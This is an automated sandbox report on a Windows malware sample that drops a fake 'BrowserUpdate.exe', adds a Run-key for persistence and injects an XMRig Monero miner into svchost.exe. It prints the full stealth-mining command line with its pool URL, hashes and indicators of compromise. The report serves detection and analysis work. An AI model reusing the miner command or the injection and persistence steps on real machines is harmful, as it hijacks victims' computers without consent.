Analysis
-
max time kernel
186s -
max time network
192s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 09:31
Static task
static1
Behavioral task
behavioral1
Sample
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
Resource
win10v2004-20220901-en
General
-
Target
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe
-
Size
2.1MB
-
MD5
457115eb0e95e1377f8beaa00b545871
-
SHA1
9cb01f9d44134355f9f55cf68ef02740e2aee8f0
-
SHA256
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef
-
SHA512
55328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a
-
SSDEEP
49152:Uzb5vW78fienXiALMq/09Jbqj0s/YYP6mN:IxhieXt09jaIm
Malware Config
Signatures
-
XMRig Miner payload 14 IoCs
Processes:
resource yara_rule behavioral1/memory/1340-67-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-69-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-71-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-72-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-73-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-75-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-77-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-78-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-79-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-81-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-82-0x00000001402CCBC8-mapping.dmp xmrig behavioral1/memory/1340-84-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-86-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/1340-87-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
BrowserUpdate.exepid process 1324 BrowserUpdate.exe -
Cryptocurrency Miner
Makes network request to known mining pool URL.
-
Loads dropped DLL 1 IoCs
Processes:
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exepid process 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\BrowserUpdate.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\BrowserUpdate.exe" 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
BrowserUpdate.exedescription pid process target process PID 1324 set thread context of 1340 1324 BrowserUpdate.exe svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exepid process 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exeBrowserUpdate.exesvchost.exedescription pid process Token: SeDebugPrivilege 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe Token: SeDebugPrivilege 1324 BrowserUpdate.exe Token: SeLockMemoryPrivilege 1340 svchost.exe Token: SeLockMemoryPrivilege 1340 svchost.exe -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exeBrowserUpdate.exedescription pid process target process PID 980 wrote to memory of 1324 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe BrowserUpdate.exe PID 980 wrote to memory of 1324 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe BrowserUpdate.exe PID 980 wrote to memory of 1324 980 2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe BrowserUpdate.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe PID 1324 wrote to memory of 1340 1324 BrowserUpdate.exe svchost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe"C:\Users\Admin\AppData\Local\Temp\2276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef.exe"1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe"C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\WINDOWS\System32\svchost.exeC:\WINDOWS\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=stratum+tcp://xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=90 --unam-stealth3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exeFilesize
2.1MB
MD5457115eb0e95e1377f8beaa00b545871
SHA19cb01f9d44134355f9f55cf68ef02740e2aee8f0
SHA2562276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef
SHA51255328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a
-
C:\Users\Admin\AppData\Local\Temp\BrowserUpdate.exeFilesize
2.1MB
MD5457115eb0e95e1377f8beaa00b545871
SHA19cb01f9d44134355f9f55cf68ef02740e2aee8f0
SHA2562276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef
SHA51255328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a
-
\Users\Admin\AppData\Local\Temp\BrowserUpdate.exeFilesize
2.1MB
MD5457115eb0e95e1377f8beaa00b545871
SHA19cb01f9d44134355f9f55cf68ef02740e2aee8f0
SHA2562276decf1e3a971157aedf6455c79109c30e9871b17e4cbf5d4305353cc014ef
SHA51255328834359be46e42b34afa96c89fc26a52928768bd6ecff0a49f5d823d97e3e3d3b3f53e6de9a18549856517d8ccfc1e9cc363e6360a91fa0ea7aa9a36ce5a
-
memory/980-54-0x000000013FBF0000-0x000000013FE10000-memory.dmpFilesize
2.1MB
-
memory/980-55-0x000007FEFBA41000-0x000007FEFBA43000-memory.dmpFilesize
8KB
-
memory/1324-57-0x0000000000000000-mapping.dmp
-
memory/1324-60-0x000000013F850000-0x000000013FA70000-memory.dmpFilesize
2.1MB
-
memory/1324-61-0x00000000021F0000-0x00000000021F8000-memory.dmpFilesize
32KB
-
memory/1340-69-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-77-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-65-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-67-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-62-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-71-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-72-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-73-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-75-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-63-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-78-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-79-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-81-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-82-0x00000001402CCBC8-mapping.dmp
-
memory/1340-84-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-85-0x00000000000F0000-0x0000000000104000-memory.dmpFilesize
80KB
-
memory/1340-86-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB
-
memory/1340-87-0x0000000140000000-0x000000014072E000-memory.dmpFilesize
7.2MB